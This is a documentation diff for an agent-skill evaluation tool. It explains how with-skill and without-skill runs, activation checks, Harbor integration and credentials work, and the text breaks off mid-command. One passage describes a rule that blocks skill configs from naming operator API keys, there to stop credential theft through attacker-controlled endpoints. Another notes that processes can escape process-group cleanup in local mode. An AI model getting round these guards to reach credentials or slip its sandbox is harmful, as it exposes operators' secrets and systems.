loaded when it should be? | -| Effectiveness | Is it better with the skill than without? | -| Efficiency | Does it route correctly and use tools productively? | - -In `custom_only` mode, your own grader defines the score instead — see -[Custom Graders & Tasks](/skills/skillevaluator/custom-graders). - -For the exact formula behind every one of these numbers — each dimension, the -Overall Score, Skill Lift and pass@k, with its range, units, the checks or -judges that produce it, and how to recompute it from the JSON report — see the -[Metrics Reference](/skills/skillevaluator/metrics-reference). It also states which -values carry LLM judge variance and what the project has and has not validated. - -If every positive with-skill trial has a confirmed activation score of zero, -the result is **INCONCLUSIVE: skill never activated**. Tier 3 keeps the arm -scores for inspection but omits lift comparisons and skill-quality advice for -that agent. A positive case with failed activation receives a `skill_execution` -score of zero, even if unrelated commands succeeded. Activation counts exclude -negative controls; missing or unsupported activation evidence remains unknown. -When at least one positive trial activates the skill, lift remains eligible -subject to the comparison requirements below. This also makes activation -failures visible with `--skip-baseline`. - -## Skill interaction experiments - -Use the opt-in `tier3 interact` command to measure whether selected skills -produce more or less improvement together than the sum of their individual -improvements. Choose one reviewed evaluation source before running: - -```bash -skillevaluator tier3 interact ./skills/research ./skills/summarize \ - --eval-source ./skills/research --agents codex --n-attempts 3 \ - --results-dir ./interaction-results -``` - -`--eval-source` is a skill directory containing an existing valid `evals/` -dataset or native Harbor task suite. The command never generates or refines -tasks. It freezes that source and the selected skills once, then reuses the -existing Harbor evaluator and skill staging to run: - -| Configuration | Installed skills | -| --- | --- | -| Baseline | None | -| Individual | One run for each selected skill alone | -| Combined | Every selected skill together | - -For two skills this is four configurations. For a group of N skills it is -N + 2 configurations, each with the full task suite, selected agents, and the -same `--n-attempts` budget. Early stopping is disabled, including when the source -config enables it. Source-config companion selections, partial task suites, and -`pre_agent_setup` are rejected before execution. Skill roots must have distinct -names and be self-contained: runtime snapshots include each skill's files, -while common task inputs belong in the fixed source's `evals/files/`. Results -must be outside the selected skills and evaluation source. The output root uses -`--results-dir`, then `SKILLEVALUATOR_RESULTS_DIR`, then `interaction-results` -beside the source. User-home shortcuts and symlinked parents are resolved before -checking that the output stays outside the inputs. - -The default outcome metric is `goal_accuracy`; `--metric accuracy` is also -available. These compare task outcomes on the same cases instead of the -standard overall score, whose discovery and skill-usage components differ -between installed-skill and baseline configurations. For `custom_only` grading, -use `--metric overall` with one shared task-outcome grader. - -For two skills, the interaction is: - -```text -I(A, B) = P(A, B) - P(A) - P(B) + P(empty) -``` - -For a selected group S: - -```text -I(S) = [P(S) - P(empty)] - sum(P(skill) - P(empty) for skill in S) -``` - -P is the mean per-case outcome, averaging the fixed number of attempts within -each case first. A positive interaction means more than additive improvement; -a negative interaction means less; zero means additive. For example, baseline -0.50, individual scores 0.75 and 0.70, and combined score 0.65 yield interaction --0.30 and combined lift +0.15. Negative interaction does not imply performance -below baseline. For more than two skills this is total departure from additive -individual gains, rather than an isolated higher-order interaction. - -These signs describe the observed estimate, without a confidence interval or -statistical significance test. A small interaction can reflect trial noise; -with one attempt on ten binary-outcome cases, one outcome changing in an -individual or combined configuration moves the interaction by 0.10. Configurations -run sequentially: baseline, each individual, then combined. Provider changes, -rate limiting, or timeouts during a long experiment can therefore align with -configuration order. Repeat the experiment before interpreting a small -interaction as a reliable effect. - -The terminal prints baseline, individual and combined scores, combined lift, -and signed interaction separately for each agent/model. Add `--json` for a -machine-readable report on stdout; each configuration's trial progress goes to -stderr. Every experiment -also saves `interaction.json`, its fixed evaluation source, and independent -Tier 3 run directories containing reports, dataset snapshots, and trial -evidence. The interaction report records original source paths, content -identities, per-case calculations, and the reward artifacts used. - -Missing trials, N/A outcomes, changed cases, unequal attempt budgets, or -different agent models, evaluator versions, or outcome scorers produce an -explicit `incomplete` or `incomparable` result with no interaction estimate and -exit code 1. Judge fallback to a different model is incomparable. Multiple -retained reward rows for one logical attempt are also incomparable rather than -being counted as extra attempts. Other completed configuration evidence remains -available for inspection. - -## Repeatable activation validation - -Use the existing dataset generator, runner and trusted trajectory collector to -check activation separately from answer quality. Write task requests and -observable outcomes in `eval-guidance.md`, then run -`skillevaluator create-eval-dataset ./my-skill --full --prompt eval-guidance.md`, review the generated -cases, and retain a versioned dataset with these four buckets: - -| Bucket | Authored expectation | What to check | -| --- | --- | --- | -| Explicit | `expected_skill: "my-skill"` | A request naming the skill invokes it. | -| Implicit | `expected_skill: "my-skill"` | An in-scope request without its name still invokes it. | -| Negative | `expected_skill: null` | An unrelated request succeeds without invoking it. | -| Edge | Explicit skill name or `null`, chosen before running | A boundary input follows the skill's documented scope; retain the expected refusal, recovery or output. | - -Template generation with `--no-llm --full` needs an authored negative prompt in -`evals/EVAL.md` to produce the negative bucket. Add the edge case yourself and -make each `expected_skill` explicit. An authored `should_trigger` takes -precedence, including `false` without a skill name. Unlabeled expectations and -positive routing without a target identity remain unknown. Keep task correctness -assertions outcome-oriented; a correct answer alone cannot demonstrate skill use. - -```bash title="Run the reviewed matrix through the normal harness" -skillevaluator tier3 validate ./my-skill --strict -skillevaluator tier3 evaluate ./my-skill --agents codex --env-mode docker \ - --n-attempts 1 --grading-mode default -``` - -Use an explicit `--agent-model AGENT=MODEL` when needed for your provider. -Repeat with `--grading-mode default_plus_custom` after configuring an authored -custom grader. `--skip-baseline` supports a faster activation-only iteration; -it cannot measure benefit or harm relative to the baseline. `custom_only` -has no trusted standard activation contract and stays unknown in this view. - -Each canonical report trial now includes `activation_validation`: - -- `expected_activation` is true, false, or unknown (`null`). The without-skill - arm expects non-use even for an in-scope task. -- `observed_activation` is `invoked`, `not_invoked`, or `unknown`, using only - the collector's trusted trajectory evidence. `expectation_status` compares - these as `matched`, `mismatched`, or `unknown`. - A standard baseline's explicit null/N/A skill scores do not prevent collecting - trajectory evidence; those scores stay N/A. The arm alone never proves non-use. -- `task_outcome` retains accuracy and goal accuracy independently of routing; - `evidence_scopes[].workflow` retains workflow order, script execution and - recovery diagnostics, and `resources` retains available time/token counters. -- `evidence_scopes[].artifacts` links to the retained reward and trajectory - paths relative to the run directory. Harbor viewer links remain on the trial. - -For fallback multi-step reward rows, the logical observation stays unknown and -`observation_scope` is `reward_rows_only`; individual observations remain in -`evidence_scopes`. This also applies when only one step row survives loading. -A collector-materialized complete root trajectory with the collector-issued -`invocation_evidence_scope: logical_trial` marker can support a logical -observation. Historical rows without a scope marker retain their row evidence -but cannot certify a complete logical observation. Missing or contradictory topology, unresolved subagent references, -and unsupported traces remain unknown. Copied context and unreferenced child -trajectories do not prove execution. `evidence_scopes_complete` describes -whether all loaded row scopes fit in the report, not whether execution was -complete. These fields do not change numeric grading or the existing lift -eligibility policy. - -The following read-only recipe exports both arms from a specific retained run -without calling another model. Replace the run directory with the one printed -by evaluation. Keep this JSON beside the run's `result.json`, `run_config.json`, -`attempt_policy.json` and `dataset_snapshot.json`; together they retain skill, -task, model, harness, environment and grading identities. Review paired task -outcomes for useful, no-benefit or harmful results, and retain the observed -result even when it contradicts the expectation. - -```bash title="Export activation acceptance evidence" -python - ./my-skill ./my-skill/evals/results/RUN_ID > activation-validation.json <<'PY' -import json -import sys -from pathlib import Path -from skillevaluator.evaluation.tier3_report import agent_eval_result_from_directory - -skill, run = (Path(arg).resolve() for arg in sys.argv[1:]) -config = json.loads((run / "run_config.json").read_text()) -result = agent_eval_result_from_directory( - skill, run, - env_mode=config.get("harbor", {}).get("environment", {}).get("value"), - use_llm_judge=False, enforce_embedded_size=False, -) -if result is None: - raise SystemExit("No retained agent results; activation is unknown") -payload = result.metadata["agent_eval"] -rows = [] -for name, agent in payload["agents"].items(): - for condition, key in (("with-skill", "trials"), ("without-skill", "trials_baseline")): - for trial in agent[key]: - rows.append({ - "agent": name, "model": agent["model"], "condition": condition, - "entry_id": trial["entry_id"], "trial_id": trial["trial_id"], - "harbor_viewer": trial.get("harbor_viewer"), - **trial["activation_validation"], - }) -print(json.dumps({ - "run_dir": str(run), "run_id": payload["run_id"], - "skill_name": payload["skill_name"], "dataset_digest": payload["dataset_digest"], - "environment": payload["environment"], "grading": config.get("grading"), - "score_policy": payload["score_policy"], - "execution_status": payload["execution_status"], - "report_truncation": payload.get("report_truncation"), "rows": rows, -}, indent=2, allow_nan=False)) -PY -``` - -A matched routing expectation is not a correctness pass. Unknown observations, -missing rows and truncated reports are incomplete evidence, not successful -non-use. Retain raw trajectories privately: they can contain task inputs and -model outputs even after credential redaction. - -Contributors can repeat the fixture-backed acceptance suite without provider -credentials. It exercises the production collector and report projection, -including correct baseline answers, missed and irrelevant activation, missing -traces, copied context, referenced subagents and multi-step completeness: - -```bash title="Offline acceptance suite from the repository root" -python -m pytest tests/reporting/test_activation_validation.py \ - tests/test_harbor_negative_control_evidence.py \ - tests/test_harbor_collector_multistep_trajectory.py \ - tests/test_checks_routing.py tests/tier3/test_failed_skill_reads.py \ - tests/tier3/test_plugin_signals.py \ - --basetemp="$(mktemp -d)/activation-tests" -``` + + + Install the CLI and connect one model provider. + + + Start a comparison in Docker. + + + Open the report and inspect the paired outcomes. + + ## Before you start -Every row below is checkable in seconds; the linked guide covers setup in -depth. - -| Requirement | How to check | Covered in | -| --- | --- | --- | -| The `tier3` extra installed (`[all]` includes it) | `skillevaluator health-check` | [Installation](/skills/skillevaluator/installation) | -| An evaluator LLM provider key | `skillevaluator doctor --env-mode docker` names any missing key | [Providers & Credentials](/skills/skillevaluator/configuration) | -| The agent and its credential | Same `doctor` run, with your agents; `tier3 evaluate` re-validates before any run | [Agents & Sandboxes](/skills/skillevaluator/agents-and-sandboxes) | -| Docker running (the default environment) | `docker info` | [Agents & Sandboxes](/skills/skillevaluator/agents-and-sandboxes) | - -## Harbor 0.25 compatibility - -The `tier3` extra installs Harbor 0.25.0, the supported Tier 3 backend for this -release. The `[all]` extra includes `tier3`. Existing SkillEvaluator commands do -not change: the public `--agents` and `--env-mode` options map built-in names and -installed adapters to Harbor's unified `--agent` and `--env` selectors. - -The exact Harbor pin is deliberate: its CLI, Python models, result artifacts, -and environment/agent subclass interfaces form one compatibility surface. This -release targets stable Harbor 0.25.0 rather than unreleased `main`. Harbor stays -behind the operator-selected `tier3` extra, so static Tier 1 installs do not pull -it in. The shared LLM client window (`litellm>=1.92.0,<1.94.0.dev0`) admits -patched 1.92 and 1.93 releases validated with this integration while excluding -prerelease and as-yet unvalidated 1.94 behavior. - -The integration preserves SkillEvaluator's runtime and artifact contracts while -using Harbor 0.25: - -- Every Harbor process starts in an empty, evaluator-owned working directory - with `.env` loading and Harbor telemetry disabled. Harbor ignores `.env.local` - and `.env` files around your project, so it sees only SkillEvaluator's - allowlisted environment. Relative host paths such as `KUBECONFIG` keep their - meaning. Disabling `.env` loading needs python-dotenv 1.2.0 or newer, which - the `tier3` extra requires; with an older release, `doctor` and - `tier3 evaluate` fail the prerequisite check until you reinstall the extra. -- Codex runs with `reasoning_effort=high`, the effort Harbor 0.22 used by - default, so results stay comparable across Harbor upgrades. -- Harbor installs Codex 0.161.0, Claude Code 2.1.292 and OpenCode 1.19.5 - rather than the latest release, so a new CLI release does not change - results. Claude Code runs Claude 5.5 and later models with - `reasoning_effort=medium`. Local mode uses your installed CLIs and checks - that they are new enough for the model. -- Installed Codex adapters merge existing user and MCP configuration before the - selected runtime provider and endpoint take precedence over conflicting route - keys. -- Docker, Kata, and local execution stream stdout and stderr through secret redaction - before Harbor callbacks receive them. Each command has a 16 MiB combined raw - stdout/stderr limit; exceeding it terminates the command process tree and - fails the trial instead of returning partial output. -- The parent Harbor orchestration process has its own 16 MiB combined - stdout/stderr limit for the full job. Overflow or timeout terminates and reaps - the Harbor POSIX process group or Windows task tree while retaining only a - bounded, redacted diagnostic tail. A POSIX process that deliberately creates - a new session can escape process-group cleanup, so the host-side Harbor CLI, - configuration, and local-mode skills must be trusted. Run untrusted evaluated - workloads in Docker or another isolated Harbor backend instead of local mode. -- Ctrl+C stops the whole run. Agents still waiting for a `--max-agents` slot, - queued conditions, and remaining `--stop-on-pass` attempts never start. Each - running Harbor job receives SIGTERM, which Harbor handles by stopping its - trial environments, and has up to 30 seconds to exit before its POSIX process - group is killed and reaped. The progress view shows the agents that are - stopping; a second Ctrl+C skips the wait. On Windows the Harbor task tree is - stopped immediately. The progress view marks unfinished stages as - interrupted. -- A skipped or exceeded Ctrl+C wait, a Ctrl+C on Windows, or a SkillEvaluator - process that is killed rather than interrupted (for example with `kill` or by - a cancelled CI job) can leave trial containers or in-container agent - processes running, and the trials' Compose networks behind. Each leftover - network keeps a subnet from Docker's limited default address pools. Harbor's - Docker backends name each Compose project after its trial, so - `docker ps -a --filter label=com.docker.compose.project` and - `docker network ls --filter label=com.docker.compose.project` list the - candidates; check their project names before removing the containers with - `docker rm -f` and then the networks with `docker network rm`. -- Docker accepts Harbor stdin payloads and isolates main-container execution - from sidecar operations without placing environment values on Compose argv. - For NVIDIA Build, the credential reaches the trusted parent over stdin; each - main-container exec then uses a short-lived, container-only stdin handoff that - is removed before the requested command runs. -- Native Windows main-container artifact transfer requires `tar` in the image - and accepts regular files and directories only. Links, junctions, hardlinks, - sparse files, special files, compressed streams, and unsafe or colliding - Windows path spellings fail closed before publication. -- Generated tasks retain schema 1.3, which Harbor 0.25 accepts. User-owned native - tasks, including schema 1.4, are staged without a schema rewrite. Collection - accepts Harbor 0.25 job, trial, reward, and ATIF v1.8 artifacts, including - single-step `step_results: null`, authoritative multi-step results, and - multimodal tool output, which judges and reports see as text with - `[image]`/`[audio]` markers. -- Native tasks follow Harbor 0.25's separate-verifier precedence. For a verify - pass that runs in a separate verifier container, a `docker_image` in the step - or task `[verifier.environment]`, or a `Dockerfile` or `docker-compose.yaml` - in the step or task `tests/` directory, defines a dedicated verifier that - must ship its own test script and never receives SkillEvaluator's grader. - Otherwise the separate verifier is built from `environment/` and receives the - uploaded tests. SkillEvaluator validates the verifier's Compose model against - its environment allowlist, and rejects `docker-compose.yml` verifier - definitions, which Harbor ignores. Standard grading modes reject separate - verifiers entirely; see [Custom Graders & Tasks](/skills/skillevaluator/custom-graders). -- Harbor 0.25 rejects a `reward.json` whose top-level values are not all - finite numbers. SkillEvaluator's verifier and wrapped custom graders already - write numeric rewards; a native task's own test script must do the same. When - Harbor's job statistics do not account for every trial, the failure names the - first trial or step exception Harbor recorded, such as - `VerifierOutputParseError`, instead of reporting only a trial count. - -## Start with one command - -After the [provider setup](/skills/skillevaluator/configuration) and runtime prerequisites above: - -```bash title="Run Tier 3" -skillevaluator tier3 ./my-skill -``` - -The direct workflow uses Docker and selects an agent from the provider: OpenCode -for NVIDIA Build, Codex for OpenAI, or Claude Code for Anthropic. If no accepted -dataset or task source exists, it generates one starter case and proceeds to the -live with-skill and without-skill comparison. It reuses valid existing sources -unchanged; invalid sources produce an error rather than being replaced. -A generated one-case starter is a starting point, not a representative -evaluation. Generation prints its concrete coverage gaps to stderr, such as -the absence of a negative/non-trigger case or missing expected outcomes and -assertions. Write task requests and observable outcomes in `eval-guidance.md` -before replacing the starter with a full dataset using -`skillevaluator create-eval-dataset ./my-skill --full --force --prompt eval-guidance.md`. `--force` -overwrites the starter and discards any edits to it. Then inspect the counts -and gaps with `skillevaluator tier3 validate ./my-skill`. Larger case counts -do not by themselves establish representative coverage. Native Harbor task -sources do not receive an eval-dataset coverage summary. - -The same agent, model, environment, grading, and reporting options described for -`tier3 evaluate` apply to this direct workflow. For example: - -```bash title="Choose the agent" -skillevaluator tier3 ./my-skill --agents opencode --env-mode docker -``` - -`tier3 evaluate` remains available for explicit execution; its missing-source -generation requires `--autopilot`. To prepare and review a fuller dataset before -running, follow the steps below. - -## Prepare and review a fuller evaluation +You need [uv](https://docs.astral.sh/uv/getting-started/installation/), Git, +Docker running, a model API key, and a skill folder containing `SKILL.md`. +Replace `./my-skill` below with that folder. New to skills? Try the +[bundled keyless example](/skills/skillevaluator/quickstart) first. -### Check readiness - -```bash title="Verify the runtime before spending compute" -skillevaluator doctor --env-mode docker -``` - -`doctor` takes seconds and names anything missing: the evaluator provider, -the selected backend's prerequisites, and unsupported agent names. Add -`--verify-models` to live-probe each agent's model against the provider's -catalog — one pass, warn, or fail row per agent — and `--agent-model AGENT=MODEL` -to check an override before committing to a run. Warnings identify catalog -results that do not authoritatively prove inference access. If you need proof -before the measured matrix, `--agent-runtime-preflight` adds an agent-only -execution of the first staged task. It does not invoke a separate -standard-grader-only route before the evaluation reaches grading. -`skillevaluator health-check` is the quicker -CLI-and-backend variant; [Agents & Sandboxes](/skills/skillevaluator/agents-and-sandboxes) covers -both in depth. - -### Generate an eval dataset - -Write task requests and observable outcomes in `eval-guidance.md` first; headings -alone do not qualify. If you already ran autopilot, add `--force` to replace its -starter, or `--refine --from-results ./saved-run` to refine from matching retained -results. Auto leaves existing datasets unchanged without either overwrite flag. -See [Grounding sources](/skills/skillevaluator/eval-datasets#choose-a-grounding-source). - -```bash title="Write the four-bucket dataset to evals/evals.json" -skillevaluator create-eval-dataset ./my-skill --full --prompt eval-guidance.md -``` - -`--full` with an LLM provider generates all four buckets (explicit, implicit, -contextual, and negative). With `--no-llm`, template mode emits the three -positive buckets and adds a negative case only when `evals/EVAL.md` supplies an -off-skill prompt under a supported negative heading. Generation uses your -configured evaluator provider by default; `--no-llm` falls back to keyless local -templates. The dataset format, `EVAL.md` guidance, and refinement options live -in [Eval Datasets](/skills/skillevaluator/eval-datasets). - -### Review the cases - -Open `evals/evals.json`. Each entry has an `id`, a `prompt` the agent will -receive, an `expected_output`, and optional `assertions` the grader checks. -Edit freely — the generated cases are a starting point, and the run is only as -good as its dataset. - -Each eval entry can declare task inputs with a `files` string or list. Paths are -relative to `evals/` (for example, `"files/case-001/input.txt"`) and only those -declared paths are staged into that task's `/workspace/input/`. An explicit -empty list or `null` stages no task input. For backward compatibility, omitting -the `files` field stages the entire shared `evals/files/` directory. - -An `evals/` directory directly owned by a skill package is evaluator-only. Tier -3 resolves the selected task source once and copies only the evaluator inputs it -can consume into one private temporary snapshot. That projection includes the -active dataset and configuration, selected fixtures, the first consumed grader, -the complete authored custom environment, and native tasks when selected. -Legacy entries that omit `files` retain the complete shared `evals/files/` -corpus. Unrelated evaluator subtrees and generated results are not copied. Every -agent and baseline arm reads the same snapshot, preventing a concurrent source -replacement from mixing dataset, fixture, grader, custom-environment, or -native-task identities. The snapshot is removed when the run returns and -requires temporary space only for the selected compatibility scope. - -Tier 3 does not install evaluator-owned directories from the target or any -nested, reference, or workspace skill into agent-visible copies. Runtime skill -projection and `--copy-repo` also omit every generated path excluded by the -versioned publication-source digest. The active report directory and the whole -catalog report root are explicitly excluded from full repo context, preventing -a repeated run from exposing prior reports or Tier 3 evidence to the agent. An -in-repository report directory is excluded only after SkillEvaluator reserves -or authenticates it as generated output; a nonempty unowned directory is -rejected instead of silently removing authored files from `--copy-repo`. -Authenticated historical result roots remain excluded after the configured -output location is changed; a present marker that is copied, stale, or cannot -be authenticated fails staging closed instead of copying that tree. Custom result roots created -outside `evals/` by a pre-marker version cannot be identified safely after the -configured location changes. Move or delete that old content before -`--copy-repo` or another full-context evaluation, then rerun with the current -version if replacement evidence is needed. Runtime assets that the agent needs -as part of the installed skill should live outside skill-owned `evals/`. Task -fixtures should live under `evals/files/` (preferred) or another non-control -subtree such as `evals/data/`, and should be declared as task inputs with -`files`. A `files` declaration cannot select evaluator control material: -dataset/configuration files, graders, developer eval guidance, benchmark -conversion reports, native Harbor tasks, custom environments, evaluator tests, -or generated results. - -Publication identity covers the evaluated skill tree itself. A Tier 3 run that -actually stages linked or full-repository context, or separately configured -external reference/workspace skills, still executes and remains available for -diagnosis, but its publication evidence fails closed as `INCOMPLETE`. -Full-repository selection also depends on Git/operator state excluded from the -skill digest, even when the repository root is the skill directory. Keep -publication-certifying runtime inputs inside the evaluated skill tree without -repository-context staging. Binding arbitrary repository projections under a -separate, versioned identity is not currently supported. - -MCP declarations are read only from a bounded, stable, single-link regular -`evals/environment/mcp_servers.toml` through a descriptor-anchored evaluator -root. Linked configuration files or parents, hardlinks, reparse points, and -files replaced during the read fail task generation before output mutation. On -Windows, the selected-file handle also denies concurrent writes and deletion -for the read. +### Install live evaluation support -Native Harbor task `environment.mcp_servers` declarations use the same MCP -approval policy before staging, including declarations in task-level and -per-step verifier environments. For generated tasks, -`evals/environment/mcp_servers.toml` accepts approved `$VAR` and `${VAR}` header -references; generated Harbor task TOML uses the braced form required by Harbor -0.25. Source files and the agent's MCP JSON keep their original references. - -`evals/environment/input/` is reserved and is not copied into generated tasks. -Directory-level custom Docker `COPY input/` remains buildable for an empty entry -using an empty context directory. Missing, dynamic, linked, hardlinked, aliased, -or escaping input sources fail closed. Native Harbor tasks and Compose input -contexts use the same omitted-versus-explicit selection rules. - -The final evaluator layer replaces `/workspace/input`, `/workspace/repo`, and -supported agent skill-discovery roots. Custom Docker `preserve` mode also -requires a statically known final `USER` so the projection can be installed and -the original user restored. Custom Dockerfiles and base images remain trusted -executable environment inputs: these controls isolate evaluation fixtures and -supported discovery roots; they are not a security boundary against an image -that intentionally changes system binaries or startup behavior. - -Evaluator-owned in-skill output uses a path-bound authenticity marker backed by -a local key. A copied, forged, or stale marker cannot authorize replacement at -another path. A custom key path set through -`SKILLEVALUATOR_OUTPUT_PROVENANCE_KEY_FILE` must remain outside every evaluated -skill source. - -### Run the comparison - -```bash title="With-skill vs. without-skill in Docker" -skillevaluator tier3 ./my-skill --env-mode docker +```bash title="Install the CLI with the Tier 3 extra" +uv tool install --python 3.13 "skillevaluator[tier3] @ git+https://github.com/NVIDIA/SkillEvaluator.git" ``` -Every supported agent harness works the same way: +Already installed? Add `--reinstall` to refresh it with the `tier3` extra. +[Other installation options](/skills/skillevaluator/installation#install). -```bash title="Choose an agent harness" -skillevaluator tier3 evaluate ./my-skill --agents opencode --env-mode docker -skillevaluator tier3 evaluate ./my-skill --agents codex --env-mode docker -skillevaluator tier3 evaluate ./my-skill --agents claude-code --env-mode docker -``` +### Connect a model -Use `--agent-model AGENT=MODEL` whenever the evaluator provider's default model -is not valid for that agent — for example, `codex` needs an OpenAI-compatible -Responses model. When the run completes, results land in a timestamped -directory: +Choose one provider. Run its exports in the same terminal as the evaluation. +This setup uses one key for the evaluator and the agent; no local GPU is needed. - -- evals/ - - results/ - - 20260709_141530_12345_a1b2c3d4e5f6/ - - result.json - - run_config.json - - report.html - - codex/ - - lift.json - - with-skill/ - - without-skill/ - + + -### Read the report +Get a key from [NVIDIA Build](https://build.nvidia.com/), then replace the +placeholder below. This path uses **OpenCode** in Docker. -```bash title="Open the HTML report, then compare across agents" -skillevaluator view ./my-skill -skillevaluator compare ./my-skill +```bash title="NVIDIA Build" +export SKILL_EVAL_LLM_PROVIDER=nv_build +export NVIDIA_API_KEY='nvapi-...' ``` -`view` opens the latest HTML report; `compare` summarizes stored results across -agents and arms. [Reports & Results](/skills/skillevaluator/reports) explains everything the run -wrote and how to interpret it. To ask follow-up questions about one run and get -grounded advice on skill changes, pass its run directory to -[`tier3 feedback`](/skills/skillevaluator/cli-reference#tier3-feedback). - - + + -## How a run works +Get an [OpenAI API key](https://platform.openai.com/api-keys), then replace the +placeholder below. This path uses **Codex** in Docker. -`tier3 evaluate` reads the accepted dataset (or native task source), resolves -each agent's actual provider route and the enabled standard-grading route, and -makes bounded credential-bearing model-catalog requests before image preparation -or task staging. Definitive native-provider authentication, authoritative model -rejection, and deterministic Bedrock credential/configuration failures stop -immediately. Non-authoritative OpenAI catalog permission or membership results, -compatible-gateway catalog authentication, unsupported catalogs, and transient -failures are reported as degraded rather than blocking the run. A successful -NVIDIA Build or compatible-gateway listing is also inconclusive when that -catalog does not authenticate inference. The optional real per-agent runtime -preflight is the stronger check for agent routes. A degraded route used only by the -standard grader remains unproven until grading begins. Native Harbor judge selection is likewise inconclusive -until runtime when no host judge override is set. `result.json` retains the -redacted target-by-target outcome under `run_config.credential_validation`, -including when an enabled agent runtime preflight fails. - -SkillEvaluator then builds the Harbor task bundle. Before spending the full -A/B matrix, you can pass `--agent-runtime-preflight` to run one extra agent-only -execution per agent. It uses the first staged evaluation task and its real prompt, -so it can consume substantial tokens and exercise task actions; grading is the -only part disabled. It is off by default. Harbor then starts the selected -environment and runs the agent in both arms; with standard grading, each transcript is -judged against the case's expected output and assertions using the configured -evaluator provider (see -[How standard grading judges a trial](#how-standard-grading-judges-a-trial)). Finally, SkillEvaluator collects the artifacts and -computes the dimension scores, pass rates, and Skill Lift. Harbor task and job -directories are transient: they are deleted after collection whether the run -succeeds or fails, unless you pass `--harbor-keep-jobs`. - -Two credential roles are involved: the evaluator provider generates datasets -and performs standard grading, while the live agent uses its own native -credential. Both come **only from the host environment** — a checked-out skill -can never supply, replace, or reroute them: - -| Credential | Used for | How to set | -| --- | --- | --- | -| Evaluator LLM provider | Dataset generation and standard grading | `SKILL_EVAL_LLM_PROVIDER` plus the provider key — see [Providers & Credentials](/skills/skillevaluator/configuration) | -| Live agent credential | The agent actually performing the task | Export it in the host environment where you run `skillevaluator` | - -```bash title="Agent credentials are host-environment exports, never config entries" +```bash title="OpenAI" export SKILL_EVAL_LLM_PROVIDER=openai -export OPENAI_API_KEY=sk-... # evaluator, and codex's runtime -export ANTHROPIC_API_KEY=sk-ant-... # claude-code's runtime -``` - -`evals/config.yml` may still add permitted task-scoped values through -`harbor.runtime_env`, but any entry that names — or `${VAR}`-references — an -operator-owned credential (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, -`NVIDIA_API_KEY`, the base-URL variables, `AWS_*`) fails the run with a hard -error. This prevents a skill from swapping a credential or routing a trusted -key to an attacker-controlled endpoint. [Providers & -Credentials](/skills/skillevaluator/configuration) lists every blocked name. - -`runtime_env` also cannot override host launcher, language-runtime, Docker, -Compose, proxy, or tracing controls. Configure the selected backend in the -host environment instead. - -One deliberate exception collapses the two roles: with the `nv_build` provider -in `--env-mode docker`, `kata`, or `local`, a single `NVIDIA_API_KEY` powers the -evaluator and all three agents. Direct OpenCode talks to NVIDIA Build directly; -Codex and experimental Claude Code use an in-container (Docker and Kata) or local compatibility bridge. -Explicit model overrides are preserved exactly. Without an override, all three -agents default to Nemotron 3.5 Lightning (`nvidia/nemotron-3.5-lightning-30b-a3b`); direct -OpenCode renders it as `nvidia/nvidia/nemotron-3.5-lightning-30b-a3b` because its -adapter namespace precedes the NVIDIA catalog ID. Override models explicitly -when you want to compare harnesses or models: - -```bash title="NVIDIA Build model overrides" -skillevaluator tier3 evaluate ./my-skill --agents opencode --env-mode docker \ - --agent-model opencode=nvidia/nvidia/nemotron-3.5-lightning-30b-a3b -skillevaluator tier3 evaluate ./my-skill --agents codex --env-mode docker \ - --agent-model codex=nvidia/nemotron-3.5-lightning-30b-a3b -skillevaluator tier3 evaluate ./my-skill --agents claude-code --env-mode docker \ - --agent-model claude-code=nvidia/nemotron-3.5-lightning-30b-a3b -skillevaluator tier3 evaluate ./my-skill --agents opencode --env-mode docker \ - --agent-model opencode=nvidia/meta/llama-3.1-8b-instruct -``` - -On cloud env-modes the bridges are -unavailable: `opencode` still works with `NVIDIA_API_KEY` directly, but -`codex` and `claude-code` fall back to their own native credentials and -explicit models — see [Agents & Sandboxes](/skills/skillevaluator/agents-and-sandboxes). - -## Execution backends - -`--backend` chooses what executes the cases. The default is Harbor. The experimental -NeMo Gym adapter stages the same task folders and uses the shared verifier and result -collector, but requires a Gym interface that is not available in the checked public -`nemo-gym==0.7.0` release. - -| Backend | What runs the cases | -| --- | --- | -| `harbor` (default) | Harbor orchestrates the trials, runs the agent and the sandbox. Every `--env-mode` is available. | -| `nemo-gym` | Experimental native Gym task-folder adapter, restricted to `--env-mode docker`. Needs the pinned Gym install below; public Gym 0.7.0 is incompatible and fails preflight. Codex and Claude Code have completed live runs on the pinned Gym. OpenCode currently fails in Gym's agent setup before either arm starts. | - -**Compatibility status:** installing `nemo-gym==0.7.0` does not enable this backend. -That release's `gym eval run` takes JSONL inputs and configured environments; it has -neither the positional task-directory argument nor `--sandbox` used by this adapter. -Removing that flag alone does not provide the required execution or verifier contract. -The immutable public source candidate -[`NVIDIA-NeMo/Gym@792fa142f58277aecff05d402061d647e9a92acf`](https://github.com/NVIDIA-NeMo/Gym/blob/792fa142f58277aecff05d402061d647e9a92acf/nemo_gym/cli/main.py) -declares the `TARGET` task-folder argument and the seven required flags. This source -inspection alone does not establish full runtime support. Beyond the specific live runs -summarized above, broader agent/grading combinations, paired small/custom-Dockerfile -runs and input-file handling still need independent qualification, including their -native execution and verifier artifacts. The agent mappings remain experimental. - -The Claude Code mapping uses the same pinned runtime version as Harbor, installed -by Gym inside the sandbox. It enables native discovery and projects staged skills -into the task workdir's `.claude/skills/` directory because Gym uses a private -Claude configuration directory. The baseline uses the same discovery settings -without the target skill. Gym's required Anthropic credential field receives only -a placeholder; policy credentials remain in the model-server environment. Claude Code -takes its policy endpoint from the same settings as Codex: `SKILL_EVAL_NEMO_GYM_MODEL_URL`, -`SKILL_EVAL_NEMO_GYM_MODEL_API_KEY` and a model from `--model` or -`--agent-model claude-code=MODEL`. - -Install the pinned Gym in its own Python 3.13.14+ environment, separate from -SkillEvaluator's, and check that its `gym eval run --help` lists `TARGET` and `--sandbox`: - -```bash -uv venv --python ">=3.13.14,<3.14" "$HOME/nemo-gym/.venv" -uv pip install --python "$HOME/nemo-gym/.venv/bin/python" \ - "nemo-gym @ git+https://github.com/NVIDIA-NeMo/Gym@792fa142f58277aecff05d402061d647e9a92acf" -"$HOME/nemo-gym/.venv/bin/gym" eval run --help -``` - -Then point SkillEvaluator at it and run: - -```bash -# Requires the pinned Gym install described below. -export SKILL_EVAL_NEMO_GYM_BIN="$HOME/nemo-gym/.venv/bin/gym" -# Codex needs an endpoint that serves the OpenAI Responses API; NVIDIA Build does not. -export SKILL_EVAL_NEMO_GYM_MODEL_URL=https://api.openai.com/v1 -export 